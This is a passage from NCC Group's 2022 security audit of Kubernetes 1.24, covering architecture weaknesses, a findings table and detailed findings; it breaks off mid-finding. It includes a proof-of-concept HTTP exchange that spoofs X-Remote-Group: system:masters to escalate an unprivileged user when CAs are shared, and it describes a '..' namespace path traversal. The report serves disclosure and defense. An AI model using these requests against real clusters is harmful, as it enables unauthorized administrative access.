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1 Executive Summary

Synopsis

Following the release of Kubernetes 1.24.0, the Cloud Native Computing Foundation

(CNCF) engaged NCC Group to conduct a security assessment of the Kubernetes project.

Kubernetes is described by the CNCF as “a portable, extensible, open source platform for

managing containerized workloads and services, that facilitates both declarative

configuration and automation”. The purpose of this review was to identify any issues in the

project architecture and code base which could adversely affect the security of Kubernetes

users. This engagement was performed over the summer of 2022.

Scope

This security audit is meant to paint a broad picture of the security posture of Kubernetes

and its source code base, and focuses specifically on the following components of

Kubernetes:

kube-apiserver

kube-scheduler

Kubernetes use of etcd

kube-controller-manager

cloud-controller-manager

kubelet

kube-proxy

secrets-store-csi-driver

Coverage on all aspects that have changed since the previous audit of Kubernetes 1.13

While Kubernetes relies upon Container Runtimes such as Docker and CRI-O, container

escapes that rely upon bugs in the container runtime are not in scope unless, for example,

the escape is made possible by a defect in the way that Kubernetes sets up the container.

Key Findings

During the assessment, NCC Group identified:

A number of concerns with the administrative experience as it relates to restricting

user or network permissions. These may result in administrator confusion or a lack of

clarity around the permissions available to a specific component.

Flaws in inter-component authentication which allow a suitably positioned malicious

user to escalate permissions to cluster-admin.

Weaknesses in logging and auditing which could be abused by an attacker post-

compromise to aid in maintaining persistence or stealth once in control of a cluster.

Flaws in user input sanitization which allow a restricted form of authentication bypass

by modifying the request made to the etcd  datastore.

While numerous other findings were also identified, these were determined to pose limited

risk to users. This is due to either their impact being low, or privileged permissions being

required in order to abuse the vulnerable functionality.
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Strategic Recommendations

The Kubernetes project has demonstrated efforts to improve the security of the overall

project, and applying fixes for the issues outlined in this report will continue those efforts.

Where a relatively simple fix is possible, for example in the identified instances of

unsanitized user inputs, these issues should be fixed in code as soon as possible. Where

more complicated fixes are required, it may be more pertinent to update Kubernetes

documentation to inform users of the identified risks while longer-term fixes are applied.

In addition to the findings identified in this report, NCC Group observed that a number of

findings from the previous audit performed against Kubernetes version 1.13 remain open or

unfixed. When reviewing the findings of this report, the previous audit findings should also

be reviewed and addressed as part of continuous security improvement work.
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2 Security Architecture Review

During this engagement, NCC Group performed a security architecture review of

Kubernetes that resulted in the identification of the major findings in terms of secure

design of Kubernetes. As part of this assessment, NCC Group attempted to identify

deficiencies in the overall architecture of Kubernetes, both current and, as applicable,

future. Additionally, in evaluating threats to guide analysis and recommendations, NCC

Group considered common use case scenarios, assets, relevant threat agents, and their

associated impacts and mitigations.

This section discusses use cases, legitimate actors, and assets considered in NCC Group’s

review of the Kubernetes architecture from a security perspective. In addition, specific

findings discussed in finding "Multiple Concerns with Network Policies", finding "Additive

Access Controls", finding "Lack of Cohesion Between Core Access Control Mechanisms",

and finding "Weaknesses in Pod Security Standards Restricted Profile" are a result of the

evaluation of the security decisions made in designing Kubernetes.

Cluster Scenarios

In general, Kubernetes is a fairly flexible platform for deploying and managing workloads,

and is used in disparate ways for disparate purposes. For this assessment, NCC Group first

identified design patterns that are common among Cluster use cases based on common

deployments assessed by NCC Group. Then, the design of Kubernetes was assessed

against these four hypothetical Cluster use cases:

Production Application Deployment and Development/Test Environment Isolation: Use of

Kubernetes to deploy internal or public-facing applications, including across isolated

environments in deployments, such as Production, Development, Staging, and Testing.

CI-CD Pipelines: Use of Kubernetes to perform automated building, testing, and

deployment of software and software artifacts or as a platform for other batch tasks

and processes.

Code Execution as a Service Platforms: Use of Kubernetes to execute end-users’ code,

typically in a sandbox, such as to enable data processing capabilities, to expose

functionality such as Jupyter notebooks or running Python scripts directly on the

Containers, or to provide a platform as a service (PaaS).

Multi-Tenant Dedicated Services: Per-tenant and per-tenant tier deployments of

software as a service (SaaS) platforms.

While in some areas, facets of these use cases overlap, and users’ uses of Kubernetes may

comprise several of these cases within the same Cluster, these use cases present distinct

threat models under which Kubernetes as a whole may be analyzed. Additionally, across

these use cases, NCC Group assessed Kubernetes through the lenses of both self-hosted

and platform-managed Kubernetes Clusters.

Actors

Within Kubernetes as a whole, it is generally possible to ascribe the following role labels

across different kinds of users, all of which, except the last, can be considered to have

some level of sensitive access to the Cluster, such as system:authenticated  access by

default.

Platform Administrators: Actors with explicit access to control plane components and

the systems running them.

Node-level Administrators: Actors with explicit access to Cluster nodes. In self-hosted

Clusters, these are typically also Platform Administrators, but also may not be if they

are given direct access to workload-running nodes and not control plane nodes.

Cluster-level Administrators: Actors with significant cluster-level API Server privileges

and access.

• 

• 

• 

• 
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Namespace-level Administrators: Actors with API Server access sufficient to create and

modify most general namespace-based objects for a given namespace.

Infrastructure Services: Privileged or semi-privileged Cluster service workloads, that

either are direct Kubernetes components (for example: API Server, etcd , CoreDNS , kube

-controller-manager ), or are separately-installed services (for example: CNI Plugins,

Service Meshes, Admission Controllers).

Workloads: Applications deployed to a cluster.

Operator: Actors with access to various API Server privileges but who may not have

complete administrative access to a Cluster.

Developers: Actors with control over the code, application configuration, and potentially

Kubernetes configuration of workloads.

Limited-Privilege users: Actors with tightly-scoped and limited access to the API Server,

often sufficient to query service or workload status, or edit non-sensitive application

configurations via Kubernetes objects such as configmap s.

External (non-Cluster) users: External actors without authenticated Cluster or apiserver

access but who may access publicly exposed services, such as those of workloads

deployed on a Cluster.

In many cases, these roles, or aspects of them, are performed by both manual and

automated processes. For example, to prevent direct access to production environments —

in addition to simplifying procedures — continuous delivery or other managed deployment

services may be used to automatically generate and configure any number of Kubernetes

objects in addition to pods, including their namespaces, service accounts, roles, and role

bindings. Additionally, certain roles may be applied more liberally in “less sensitive”

environments, such as development and staging, whereby a developer may also be a

namespace administrator for the namespace created for their workloads.

Assets

Organizational resources: Access to corporate or organizational systems or data outside

of the Kubernetes cluster, such as communication systems (e.g. email, chat), HR

systems, code repositories, wikis, remote log storage, and cloud platform accounts.

Internal infrastructure and services: Privileged access to cluster infrastructure, including

nodes and other core components that may be sufficient to gain access to other assets.

Application secrets: Credentials used by applications and services within the cluster,

such as cluster service account tokens, third-party access keys, and cryptographic

secrets.

Application data: Sensitive data transmitted through, processed by, or stored within

services and applications deployed to a cluster. Depending on the use case of the

cluster, this may include personally identifiable information (PII) and protected health

information (PHI).

Intellectual property: Sensitive intellectual property such as proprietary source code

and internal application and service binaries.

Service availability: The ability to maintain service access to intended peers (e.g.

customers, downstream clients).

Evaluation

This review covered authentication and authorization, including trust relationships, role-

based access controls, and evaluation of component privilege, in addition to general

evaluation of security decisions and design patterns within Kubernetes against best

practices. In terms of Kubernetes architecture, NCC Group believes that the following items

represent the most significant high-level threats:
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Core Access Control Mechanisms

NCC Group found that the core access control mechanisms for Kubernetes were not

implemented in a strong, universal way that will prevent bypasses in terms of giving a

malicious user the ability to access or manipulate sensitive data/other resources and

potentially compromising a Cluster.

Over its release history, Kubernetes has developed several security features geared

towards providing access controls for specific Kubernetes features, with some features

being deprecated and replaced by alternatives over time. At a high level, the general

security concerns of a Kubernetes Cluster can be divided between Cluster access, Node

access, and Service access. In the case of Cluster access, or Kubernetes API access, the

ability to access or manipulate sensitive data or resources can have cascading effects. In

the case of Node access, privileged workloads or those that can exploit misconfigurations

can compromise other workloads and potentially compromise a Cluster. And in the case of

service access, a malicious or compromised workload can potentially be abused to

compromise other workloads. Cluster access and Node access each have had their own

forms of access controls. In practice, Cluster API access is controlled via the Kubernetes

role-based access control (RBAC) Authorization mode, and workload configurations are

controlled via Admission Controllers and the like that effectively enforce access controls.

Overall, Kubernetes lacks a cohesive scheme for declaring access controls, with each such

feature being a stand-alone mechanism.

Also, while Kubernetes currently enables custom access controls via webhooks, such

functionality is not easily exposed for general use and currently serves to enable simpler

integration of third-party components.

This lack of cohesion between core access control mechanisms and leaning on integration

with third-party components for access controls is discussed in the finding at finding "Lack

of Cohesion Between Core Access Control Mechanisms" with more detail and

recommendations.

RBAC

In Kubernetes, authorization is handled at the API level based on the Authorization modes

the API server is configured with. The main user-facing Kubernetes Authorization mode, 

RBAC , provides a role-based access control system that maps Principals to operations

related to resources across single namespaces or entire Clusters based on whether the

roles and/or bindings are Cluster-level. However, the Kubernetes RBAC model does not

support Deny rules, instead only identifying whether a user has permission to access a

given resource in a given way. Due to this, the model can be considered to “fail open” in the

event that a principal is, through generic or over-broad role definitions, granted unintended

permissions. This behavior results in a weak API access control model whereby stricter

access controls cannot generally be applied in addition to existing rules (for example: to

restrict specific users or groups from accessing specific resources they can otherwise

access due to matching additive rules), instead necessitating complex and error-prone

rewrites of RBAC rules.

The lack of strong RBAC that supports Deny rules means that users essentially cannot be

configured with specific Deny permissions to given resources even if they otherwise have

broad role definitions. Ultimately, this manifests in a large number of authorization issues in

Kubernetes deployments when there are specific needs for appropriate access controls.

This additive nature of RBAC is discussed in the finding at finding "Additive Access

Controls" with more detail and recommendations.
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Network Policies

In Kubernetes, networking.k8s.io/v1  NetworkPolicy  objects provide a manner to

configure network traffic filtering restrictions on and between pods to provide isolation.

However, their design and behavior result in several drawbacks that significantly limit their

applicability.

Network policies, in the general use case, effectively have the opt-in nature, as rule

application is performed via label matches. Should any lax network policy exist in a

namespace, even one that is otherwise locked down with RBAC rules to prevent the

creation or manipulation of network policies, any Cluster user that can create or modify a

Pod, either directly or indirectly in that namespace, can modify pod labels. Such

modification would grant the additional access of the matching network policy rules, such

as to sensitive pods and services that otherwise cannot be directly accessed from within a

Cluster. As a result, without additional Admission Controller validations to “enforce”

creation and modification of Pods with specific Pod labels in a secure manner, network

policies can only be considered to be granular to the namespace level and not the Pod

level.

Standard network policies, similar to RBAC (finding at finding "Additive Access Controls"),

use additive access controls, whereby a range or “entity” that is allowed cannot be

disallowed. While this does not go so far as to enable ingress rules to override egress

restrictions, it nonetheless significantly limits the usability of network policies by enabling

accidental fail-open configurations.

These concerns with Network Policies are discussed in the finding at finding "Multiple

Concerns with Network Policies" with more detail, additional issues, and recommendations.

Pod Security Standards Admission Controller

The Pod Security Standards Restricted  profile builds atop the Baseline  profile, primarily

by ensuring that Pods cannot run as root, that they cannot run with capabilities other than 

NET_BIND_SERVICE , and that they must enable a seccomp profile. However, while the

profile requires that all variants of runAsUser  must be nonzero, it does not similarly require

that runAsGroup  must also be nonzero. Due to this, it may be possible for a Pod running

with GID 0 to access sensitive resources that are group owned by root and user-group, but

not world-readable or -writable. Additional requirements to the Restricted  profile to

restrict group configuration should be introduced. A mutating variant of the Pod Security

Standards Admission Controller that will override unset fields with secure defaults may

make it simpler to ease adoption of Restricted  profiles, from Baseline  or in general.

Additionally, the seccomp requirements enable the selection of a type: Localhost  for 

seccompProfile . While this requires that the seccompProfile.localhostProfile  field is

set to an existing relative path from /var/lib/kubelet , this can pose a risk in the event

that a Cluster is configured with multiple tailored and lax localhost seccomp profiles. A

user with access to create Pods could opt into a weaker seccomp profile than that of the 

RuntimeDefault  profile. Additionally, it should be documented that users should be careful

not to expose seccomp profiles weaker than RuntimeDefault , or that they should use a

custom Admission Controller to restrict the seccomp profiles that may be used by given

Containers or within a given namespace.

Weaknesses in Pod Security Standards Admission Controller’s Restricted Profile are

discussed in the finding at finding "Weaknesses in Pod Security Standards Restricted

Profile" with more detail and recommendations.
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Logging and Auditing

Kubernetes can maintain logs of actions on the system. Without logs, identifying malicious

action can be impossible. When auditing is configured on a Cluster, audit logs show the

username and groups of logged requests. This does not include the authentication source

used to determine the user’s identity. An attacker able to craft their own authentication that

is accepted by the Cluster will be able to impersonate a system component. Since logs do

not include the authentication source, this does not catch instances of unexpected

behavior in a post-compromise persistence scenario that indicates an attack.

As one example of an attack path, an attacker able to gain access to the Certificate

Authority, used to sign user certificates, can create a user certificate for a username of sys

tem:serviceaccount:kubesystem:replication-controller  or similar. If an attacker uses

this certificate, the audit logs will show the same username as any requests made by the r

eplication-controller  service account in normal behavior. Any anomalous behavior may

not be noticed, unless a Cluster administrator is paying close attention to every request.

Explicit immutable logging of the authentication source used to determine the user’s

identity should be considered so that an attacker is not able to craft their requests in such

a way that they are impersonating another component. This helps track down the extent of

a compromise.

This lack of authentication source in audit logs is discussed in the finding at finding

"Authentication Source Not Shown in Audit Logs" with more detail and recommendations.

User Inputs

There are several identified instances of unsanitized user inputs like the findings at finding

"Path Traversal in Namespace Specifier" and finding "Dangerous File Path Construction" in

this report. Unsanitized user inputs in an API request can lead to exploits that widen the

scope for resources with access control bypasses (like, retrieving/manipulating secret

objects and other information disclosure). Where a relatively simple fix is possible, these

findings should be fixed in the source code as soon as possible. Where complicated fixes

are required, the Kubernetes documentation should be updated to inform users of the

identified risks while long-term fixes are applied.

Remediation

In addition, remediating discovered findings outlined in this report and performing security

evaluations of the future versions of Kubernetes will continue to improve the security

posture of Kubernetes. NCC Group also observed that a number of findings from the

previous security audit performed against Kubernetes version 1.13 remain open. When

reviewing the findings of this report, the previous audit findings should also be reviewed

and addressed as part of continuous security improvement work.
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3 Dashboard

Target Data Engagement Data

Name Kubernetes Type Security Architectural and

Implementation Review of

Orchestration of Containers

Type Open Source System for

management of

Containerized Applications

Method Architectural Review and

Source Code Assisted

Platforms Golang Dates 2022-05-09 to

2022-06-10

Environment Local kind Test Cluster Consultants 9

Level of Effort 97 person-days

Finding Breakdown

Critical issues 0

High issues 0

Medium issues 6

Low issues 9

Informational issues 4

Total issues 19

Category Breakdown

Access Controls 7

Auditing and Logging 2

Authentication 4

Configuration 1

Cryptography 4

Data Validation 1

Component Breakdown

Security Architecture Review 4

kube-apiserver 13

kubelet 2

 Critical  High  Medium  Low  Informational 
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4 Table of Findings

For each finding, NCC Group uses a composite risk score that takes into account the

severity of the risk, application’s exposure and user population, technical difficulty of

exploitation, and other factors.

Security Architecture Review

Title ID Risk

Additive Access Controls PA6 Medium

Multiple Concerns with Network Policies XE9 Low

Lack of Cohesion Between Core Access Control Mechanisms DXX Low

Weaknesses in Pod Security Standards Restricted Profile UCG Low

kube-apiserver

Title ID Risk

Common Certificate Authority Possible for Client CA and Request

Header CA

F9W Medium

Path Traversal in Namespace Specifier RKV Medium

Redirection of API Server Traffic to Kubelet JAV Medium

API Server Proxy Disables TLS Certificate Validation MRE Medium

Authentication Source Not Shown in Audit Logs R44 Low

EmptyDir Volumes Do Not Support Mount Options 7HM Low

Loopback Token Usable Externally 47W Low

Inaccurate X-Forwarded-Uri Header HFV Low

Logging of Incorrect Bootstrap Tokens WVM Low

Incorrect Handling of Proxy Authentication Headers YVU Low

Timing Side Channel in Bootstrap Tokens Generation and Handling TTV Info

Non Constant-Time Comparison of Service Account Token Secrets PCK Info

Low Entropy Bootstrap Tokens WHE Info

kubelet

Title ID Risk

Privilege Escalation via nodes/proxy  Permission WV3 Medium

Dangerous File Path Construction B4Y Info
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5 Finding Details – Security Architecture

Review

Additive Access Controls

Overall Risk Medium

Impact Medium

Exploitability Medium

Finding ID NCC-E003660-PA6

Component Security Architecture Review

Category Access Controls

Status Reported

Description

In Kubernetes, authorization is handled at the API level based on the authorization modes

the API server is configured with. The main user-facing Kubernetes authorization mode, 

RBAC , provides a role-based access control (RBAC) system that maps principals to

operations related to resources across single namespaces or entire clusters based on

whether the Roles and/or RoleBindings are Cluster-level. However, the Kubernetes RBAC

model does not support Deny rules, instead only identifying whether a user has a

permission to access a given resource in a given way. Due to this, the model can be

considered to “fail open” in the event that a principal is, through generic or over-broad role

definitions, granted unintended permissions.

The Kubernetes’ authorization model is structured such that it will sequentially try all

configured authorization modes

until one returns an explicit DecisionAllow  or DecisionDeny , or return an error in the event

that they all return DecisionNoOpinion .1 While this model can be used similarly to

Kubernetes’ admission controller model, in which an allowed  Boolean is used and for

which any failed validation will result in an overall error, in practice, internal authorizers

such as Node and RBAC can only return DecisionNoOpinion  on failure, not DecisionDeny ,

preventing them from fully rejecting accesses.

Recommendation

Consider enhancing the current RBAC authorization mode or introducing a new RBAC mode

with support for explicit Deny rules that return DecisionDeny .

Additionally, support the ability to configure authorization such that all configured

authorization modes must allow an access attempt before it is processed. Furthermore,

consider implementing a mechanism for an authorization mode to subquery other

authorization modes. Lastly, consider embedding authentication metadata to authorization

modes, enabling increased or decreased access based on the context of the user.

In addition to enhancing the robustness of the Kubernetes authorization model, these

changes could be used to implement finer-grained user-specific access control features,

including revocation for users authenticating with certificates.

Medium 

1. https://github.com/kubernetes/kubernetes/blob/v1.24.3/plugin/pkg/auth/authorizer/rbac/

rbac.go#L126
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Multiple Concerns with Network Policies

Overall Risk Low

Impact Medium

Exploitability Low

Finding ID NCC-E003660-XE9

Component Security Architecture Review

Category Access Controls

Status Reported

Description

In Kubernetes, NetworkPolicy  objects provide a flexible manner to configure networking

restrictions on and between pods to provide isolation. However, their design and behavior

result in several drawbacks that significantly limit their applicability. In general, the 

networking.k8s.io/v1  NetworkPolicy  type attempts to present a lowest common

denominator specification for traffic filtering. It is not, however, required that a CNI

implement any kind of support for network policies, and those that do tend to provide more

useful isolation features than are supported by the standard NetworkPolicy  type.

Additionally, while network policies may be partially or fully unsupported, there is no

mechanism to determine if an applied NetworkPolicy  will be enforced.2 Instead, it is left to

administrators to validate the intended behavior. In general, the risk of this facet of network

policy behavior is low given that production CNIs tend to support network policies.

Standard network policies, similar to other Kubernetes components, use additive access

controls (see finding "Additive Access Controls"), whereby a range or “entity” that is

allowed cannot be disallowed. While this does not go so far as to enable ingress rules to

override egress restrictions, it nonetheless significantly limits the usability of network

policies by enabling accidental fail-open configurations. Furthermore, network policies are,

in the general use case, effectively opt-in, as rule application is performed via label

matchers. Should any lax network policy exist in a namespace, even one that is otherwise

locked down with RBAC rules to prevent the creation or manipulation of network policies,

any cluster user that can create or modify a pod, either directly or indirectly in that

namespace, can modify pod labels in an attempt to be granted the additional access of the

matching network policy rules, such as to sensitive pods and services that otherwise

cannot be directly accessed from within a cluster. As a result, without additional admission

controller validations to “enforce” pod labels in a secure manner, network policies can only

be considered to be granular to the namespace level and not the pod level, and the only

way to enforce a network policy across all pods in a namespace is to give it a wildcard 

podSelector  of {} . Such policies are referred to as “default policies”3 and are often

recommended as a security best practice, though generally only as a means of denying

traffic by default, and often without discussing the weaknesses of network policies or their

opt-in nature.4

Another issue with network policies is that they conflict with the use of Kubernetes’ DNS to

resolve services and pods. In particular, to resolve internal DNS names, pods must be able

to communicate with the cluster’s own DNS server. To support such functionality, network

access to the DNS server must be allowed. However, as Kubernetes DNS will recursively

resolve queries, this enables DNS to be abused as a communication channel that bypasses

Low 

2. https://github.com/kubernetes/sig-security/blob/main/sig-security-external-audit/security-

audit-2019/findings/Kubernetes Threat Model.pdf, Finding TOB-K8S-TM01 (pages 28-29)

3. https://kubernetes.io/docs/concepts/services-networking/network-policies/#default-policies

4. For example, https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HA

RDENING_GUIDANCE_1.2_20220829.PDF
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egress filtering. Due to this, while standard network policies may be used to securely

restrict access between pods, they cannot be relied on to restrict outgoing traffic.

Figure 1: Default kube-dns CoreDNS Corefile

It should be noted that it is possible to reconfigure Kubernetes DNS with a configmap to

replace the CoreDNS Corefile entirely, which would enable filtering queries via a number of

means, such as forwarding to a custom filtering DNS server, implementing a custom

allowlist of domains to forward to, or disabling the forward  plugin to disable recursion and

external querying entirely. These can enable powerful compositions as, while workload

namespaces can be constrained with network policies that restrict access to the CoreDNS

server or other filtering DNS servers, the namespace used to run these servers can remain

unfiltered. However, applying such configurations correctly is non-trivial and constitutes

manual reconfiguration of an implementation detail of Kubernetes.

Recommendation

In the long term, the built-in Kubernetes NetworkPolicy  type should be refocused or

deprecated in favor of an alternate approach to ingress and egress filtering focused

entirely on in-cluster traffic. As part of this, consider enabling stronger binding

mechanisms for pod selection and explicit Deny rules that can be used to ensure that pods

may not be able to gain access via label configuration abuse. Lastly, CNIs should be

required to provide admission controller webhooks that fully validate network policies, and

deny any that use unsupported features, including all NetworkPolicy  objects if the CNI

does not support network policies. Alternatively, if not using a ValidatingAdmissionWebhoo

k  object directly, CNIs could be required to implement a validating admission webhook

endpoint that a new core Kubernetes admission controller would detect and then route 

NetworkPolicy  objects to, propagating the response accordingly.

.:53 {

errors

health {

lameduck 5s

}

ready

kubernetes cluster.local in-addr.arpa ip6.arpa {

pods insecure

fallthrough in-addr.arpa ip6.arpa

ttl 30

}

prometheus :9153

forward . /etc/resolv.conf {

max_concurrent 1000

}

cache 30

loop

reload

loadbalance

}
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Lack of Cohesion Between Core Access

Control Mechanisms

Overall Risk Low

Impact Medium

Exploitability Low

Finding ID NCC-E003660-DXX

Component Security Architecture Review

Category Access Controls

Status Reported

Description

Over its release history, Kubernetes has developed several security features geared

towards providing access controls for specific Kubernetes features, with some features

being deprecated and replaced by alternatives over time. Overall, however, Kubernetes

lacks a cohesive scheme for declaring access controls, with each such feature being a

stand-alone mechanism. At a high level, the general security concerns of a Kubernetes

cluster can be divided between cluster access, node access, and service access. In the

case of cluster access, or Kubernetes API access, the ability to access or manipulate

sensitive data or resources can have cascading effects. In the case of node access,

privileged workloads or those that can exploit misconfigurations can compromise other

workloads and potentially compromise a cluster. And in the case of service access, a

malicious or compromised workload can potentially be abused to compromise other

workloads.

In general, the greatest concern with regards to Kubernetes access controls is cluster API

access and its impact on sensitive cluster data and on the ability to configure workloads,

which have each evolved their own forms of access controls over time. While Kubernetes

currently enables custom access controls via webhooks, such functionality is not easily

exposed for general use and currently serves to enable simpler integration of third-party

components. While Kubernetes includes more specialized access control components to

maintain certain forms of internal security invariants, such as node authorization and

restriction, in practice, cluster API access is controlled via Kubernetes’ role-based access

control (RBAC) authorization mode, and workload configurations are controlled via

admission controllers, input validators, and mutators that effectively enforce access

controls.

Kubernetes’ RBAC authorization is primarily structured around Roles/ClusterRoles and

RoleBindings/ClusterRoleBindings, and how they map principals to operations related to

resources, across single namespaces or entire clusters. In contrast, access control

admission controllers, in the form of plugins and webhooks, are often highly specialized

around the object types they validate and can be considered to decompose custom access

control specifications into principal-specific object field validations and overrides. In

general, admission controllers such as Pod Security, enforcing the Pod Security Standards

specification; the deprecated Pod Security Policies; and popular third-party admission

controllers such as OPA Gatekeeper and Kyverno all attempt to provide some means to

provide a custom policy dictating how a workload may be configured by a principal that is

authorized to configure it.

However, the current split between authorization modes and access control-focused

admission controllers prevents a unified approach to implementing access controls,

increasing the difficulty of correctly configuring access controls, and exposing gaps in the

handling of certain resources, such as Secrets, whereby a user that is not authorized to

Low 
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access a Secret directly via the API may nonetheless be able to access it from a workload.

In many cases, such gaps can not feasibly be resolved with official components at present,

and instead require custom object and field validations with webhooks, or granular policies

for third-party components typically implemented as webhooks.

Recommendation

Consider introducing the ability to define allowed object validation formats within RBAC

policies for objects that may be created or modified through those policies. For example,

the JSON Schema5 specification or a similar validation language could be used to validate

allowed objects. Additionally, ensure that object validation rules can uniquely validate or

restrict the object version types used, or contain version-specific object validations.

5. https://json-schema.org/
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Weaknesses in Pod Security Standards

Restricted Profile

Overall Risk Low

Impact Low

Exploitability Medium

Finding ID NCC-E003660-UCG

Component Security Architecture Review

Category Access Controls

Status Reported

Description

The Pod Security Standards “Restricted” profile builds atop the “Baseline” profile, primarily

by ensuring that pods cannot run as root, that they cannot run with capabilities other than 

NET_BIND_SERVICE , and that they must enable a seccomp profile. However, while the

profile requires that all variants of runAsUser  must be nonzero, it does not similarly require

that runAsGroup  must also be nonzero. Due to this, it may be possible for a pod running

with GID 0 to access sensitive resources that are group owned by root and user-group, but

not world-readable or -writable.

Additionally, the seccomp requirements enable the selection of a type: Localhost  for 

seccompProfile . While this requires that the seccompProfile.localhostProfile  field is

set to an existing relative path from /var/lib/kubelet , this can pose a risk in the event

that a cluster is configured with multiple tailored and lax localhost seccomp profiles, as a

user with access to create pods could opt into a weaker seccomp profile than that of the 

RuntimeDefault  profile.

Recommendation

Introduce additional requirements to the “Restricted” profile to restrict group configuration,

such as the following:

Running as Non-root group

Containers must not set runAsGroup to 0

Restricted Fields

spec.securityContext.runAsGroup

spec.containers[*].securityContext.runAsGroup

spec.initContainers[*].securityContext.runAsGroup

spec.ephemeralContainers[*].securityContext.runAsGroup

Allowed Values

any non-zero value

undefined/null

Additionally, document that users should be careful not to expose seccomp profiles weaker

than RuntimeDefault , or that they should use a custom admission controller to restrict the

seccomp profiles that may be used by given containers or within a given namespace.

Lastly, consider introducing a mutating variant of the Pod Security Standards admission

controller that will override unset fields such as allowPrivilegeEscalation , 

capabilities , runAsNonRoot , seccompProfile , and runAs(User|Group)  with secure

Low 

• 

• 
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• 
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defaults that will then still be validated by the validating Pod Security Standards admission

controller. This may make it simpler to ease adoption of Restricted profiles, from Baseline

or in general.
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Common Certificate Authority Possible for

Client CA and Request Header CA

Overall Risk Medium

Impact High

Exploitability Low

Finding ID NCC-E003660-F9W

Component kube-apiserver

Category Authentication

Status Reported

Impact

A misconfiguration of the API server could lead to a situation where privilege escalation for

any authenticated user to cluster admin is possible.

Description

The Kubernetes API server allows a certificate authority (CA) to be specified (using the --

client-ca-file  flag) which will be used to verify client certificates under the familiar X.

509 client certificate authentication scheme6. Another CA can be specified (using --

requestheader-client-ca-file ) that will be used to verify requests authenticated using

the request header scheme (described in the documentation as Authenticating Proxy). If

these two CAs are the same, and the --requestheader-allowed-names  flag is not used to

specify particular certificate common names that are permitted for request header

authentication, it is possible for any holder of a client certificate from the shared CA to

trivially authenticate to the API server as any user, by using their certificate to authenticate

a request using the request header scheme. While it is not intended that these CAs be the

same, and common Kubernetes deployment methods do not configure the deployment in

this way, it is possible that administrators could be unaware of this pitfall.

The Kubernetes documentation does include some advice against sharing CAs78, but is not

explicit about the potentially serious security impact of this specific case.

The HTTP requests and responses below illustrate this issue. Here, the API server has been

configured with the same --client-ca-file  and --requestheader-client-ca-file , and

no --requestheader-allowed-names  has been set. The requests are authenticated using a

client certificate for a user with no specific privileges.

First, a request is made using the X.509 client certificate scheme.

Medium 

GET /apis/apps/v1/deployments HTTP/1.1

Host: 192.168.136.138

HTTP/1.1 403 Forbidden

Audit-Id: d4468053-f870-4427-ad7a-1cccacdbc3d7

Cache-Control: no-cache, private

Content-Type: application/json

X-Content-Type-Options: nosniff

6. X.509 Client Certs: https://kubernetes.io/docs/reference/access-authn-authz/authentication/

#x509-client-certs

7. Authenticating Proxy: https://kubernetes.io/docs/reference/access-authn-authz/authentication/

#authenticating-proxy

8. CA Reusage and Conflicts : https://kubernetes.io/docs/tasks/extend-kubernetes/configure-

aggregation-layer/#ca-reusage-and-conflicts
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Now, a request is made using the request header scheme - an arbitrary username and

group membership(s) can be asserted using custom headers.

Recommendation

The Kubernetes API server should reject any configuration where --client-ca-file  and 

--requestheader-client-ca-file  are set to the same value, unless --requestheader-

allowed-names  has been set to specific value(s).

It may also be advisable to update the Kubernetes documentation to be more explicit about

the specific risks of sharing certificate authorities. For example, using the same CA for X.

509 client certificates for etcd authentication would allow any authenticated user to

directly access etcd (although this scenario is considered less likely than sharing of the

client CA and request header CA).

Location

kube-apiserver

X-Kubernetes-Pf-Flowschema-Uid: ada4f99a-1717-41f0-b56d-ab736de08ffe

X-Kubernetes-Pf-Prioritylevel-Uid: 3363d562-bc1f-48c7-ae43-95b5ac88c7e0

Date: Thu, 19 May 2022 15:14:55 GMT

Content-Length: 288

{"kind":"Status","apiVersion":"v1","metadata":

{},"status":"Failure","message":"deployments.apps is forbidden: User \"unpriv\" cannot list 

resource \"deployments\" in API group \"apps\" at the cluster 

scope","reason":"Forbidden","details":{"group":"apps","kind":"deployments"},"code":403}

GET /apis/apps/v1/deployments HTTP/1.1

Host: 192.168.136.138

X-Remote-User: richard

X-Remote-Group: system:masters

HTTP/1.1 200 OK

Audit-Id: 65399aeb-b3ee-4631-bcbd-cde90a66baa6

Cache-Control: no-cache, private

Content-Type: application/json

X-Kubernetes-Pf-Flowschema-Uid: 33c35f92-2ecf-48f9-81c9-c367a681f16d

X-Kubernetes-Pf-Prioritylevel-Uid: 4674e37e-7216-4693-bffc-236827c0a1bc

Date: Thu, 19 May 2022 15:16:06 GMT

Content-Length: 5849

{"kind":"DeploymentList","apiVersion":"apps/v1","metadata":{"resourceVersion":"84499"},"items":

[{"metadata":{"name":"coredns","namespace":"kube-system","uid":"1c2b28bd-d6df-42e3-

b37b-075d3fca9aba","resourceVersion":"81712","generation":2,"creationTimestamp":"2022-05-18T1

0:36:37Z","labels":{"k8s-app":"kube-dns"},"annotations":{"deployment.kubernetes.io/

revision":"1"},
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Path Traversal in Namespace Specifier

Overall Risk Medium

Impact Low

Exploitability High

Finding ID NCC-E003660-RKV

Component kube-apiserver

Category Access Controls

Status Reported

Impact

By specifying a namespace of ..  in list requests to the Kubernetes API, a user can

discover the full path of some objects they do not have access to, and possibly retrieve

CRD objects they do not have access to.

Description

The Kubernetes API will accept a directory traversal sequence ( .. ) as the namespace in a

request, and this leads to some access control bypasses, as it widens the scope of the

etcd lookups which are constructed on the back end. For a variety of reasons, the extent to

which this issue can be exploited for unauthorized access to resources appears to be

relatively limited, but it does represent a significant flaw in access controls, and it is

possible that further methods of exploitation may exist, which have not been identified

during this assessment.

A single dot is also accepted as the namespace identifier, although this has less serious

consequences for security. Note that neither ..  nor .  are accepted for other path

components in the URL (e.g. resource names) - these are checked by the 

NamespaceKeyFunc method and will be rejected.

In what follows, note that when a request is received with a namespace of .. , RBAC

checks will be performed as normal, and so the requesting user will need to have

appropriate cluster-scoped permissions against the resource type being requested. For

example, a GET request to /api/v1/namespaces/../pods  will require get  permission on

pods at cluster scope. The vulnerabilities here relate to being able to use such requests to

also access different types of resource.

We discuss only get and list requests here. Further investigation is required into the

possibility of using this technique with other verbs, although at this point it is not believed

to be exploitable.

It is important to understand that when a get or list request is made, golang’s path.Join

method is used (at various locations in the store.go file) to combine the etcd root path ( /

registry ) with the path for the resource being requested. If a namespace of ..  has been

provided, it will be passed through to this point, and path.Join  will resolve this directory

traversal sequence and output a shorter path than expected.

This is not exploitable for normal get requests against resources. For example, requesting

/api/v1/namespaces/mynamespace/pods/mypod  will result in an etcd lookup to /registry/

